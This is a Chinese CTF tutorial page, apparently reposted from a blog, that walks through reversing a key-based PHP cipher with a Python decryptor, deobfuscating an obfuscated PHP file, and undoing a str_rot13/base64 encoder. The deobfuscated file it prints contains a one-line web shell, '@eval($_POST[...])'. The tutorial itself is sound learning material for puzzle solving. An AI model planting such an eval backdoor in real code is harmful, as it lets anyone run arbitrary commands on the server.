详情页

Crypto凯撒密码、php混淆加密、str_rot13()函数如何逆向解密?

时间:2024年04月18日

编辑:佚名

Crypto凯撒密码 php混淆加密 str_rot13()函数逆向解密 
凯撒密码
凯撒密码通过替换字母完成加密,每个字母由字母表中其后特定位数的字母代替。例如,Julius Caesar将字母表的后移动3个字母的位置,然后用得到的新字母表中的字母替换原消息中的每个字母。
例如,消息中的每一个A都变成D,每个B都变成E等。当Caesar需要将字母表末尾的字母(如Y)移位时,他会绕回到字母表的开头,移动3个位置到B。在本节中,将使用凯撒密码手动加密消息
已知加密函数
<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    #729623334f0aa2784a1599fd374c120d
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }#以上for循环目的是为了补齐所需要的加密算法相当于凯撒密码的转圈循环
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }#取每个的ascii码进行相加在对128取余
    return base64_encode($str);
    #返回结果的base64加密结果
}
?>
写出解密函数
import base64
#导入base64函数库
def decrypt(str):
    text1=base64.b64decode(str)
    #进行base64解密
    #text1={l.&W'EG*B(W[(+G'U-0
    key='729623334f0aa2784a1599fd374c120d729623'
    flag=''
    for i in range(len(text1)):#由密文得到循环次数
       flag +=chr((ord(text1[i])-ord(key[i])+128)%128)
    print(flag)
if __name__ == '__main__':
    str='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
    #此为已知的加密后的结果
    decrypt(str)
php混淆加密
实例
<?php
define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__);
$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . ........?>
使用在线PHP混淆类在线破解网站
得到解密文件
<?php
//加密方式:php源码混淆类加密。免费版地址:https://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782 
?>
<?php
highlight_file(njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);
@eval($_POST[ymlisisisiook]);
?>
fastcoll 生成两个md5值一样的文件与 用md5工具Hash校验
fastcoll 生成两个md5值一样的文件]: https://www.zeroplace.cn/article.asp?id=886
str_rot13()函数逆向解密
打开发现加密字符
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
    $_o=strrev($str);//进行字符串翻转
    // echo $_o;
    for($_0=0;$_0<strlen($_o);$_0++){//获取密文长度
        $_c=substr($_o,$_0,1);//分个数截取
        $__=ord($_c)+1;//将ascii码值加一
        $_c=chr($__);//获取字符
        $_=$_.$_c;//将字符进行连接
    }
    return str_rot13(strrev(base64_encode($_)));//str_rot13() 函数对字符串执行 ROT13 编码
}
highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
$str = "flag";
$a1 = encode($str);
echo $a1;
?>
写出解密函数
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
  $_o = base64_decode(strrev(str_rot13($str)));
  for ($_0 = 0; $_0<strlen($_o);$_0++){
      $_c = substr($_o,$_0,1);
      $__ = ord($_c)-1;
      $_c = chr($__);
      $_ = $_.$_c;
  }
return strrev($_);
}
echo decode($miwen);
str_rot13() 函数对字符串执行 ROT13 编码。
ROT-13 编码是一种每一个字母被另一个字母代替的方法。这个代替字母是由原来的字母向前移动 13 个字母而得到的。数字和非字母字符保持不变。
语法
str_rot13(string)
参数    描述
string    必需。规定要编码的字符串。
提示和注释
提示:编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。
文章来自:https://blog.csdn.net/m0_63303407/article/details/126637421
相关文章
猜你需要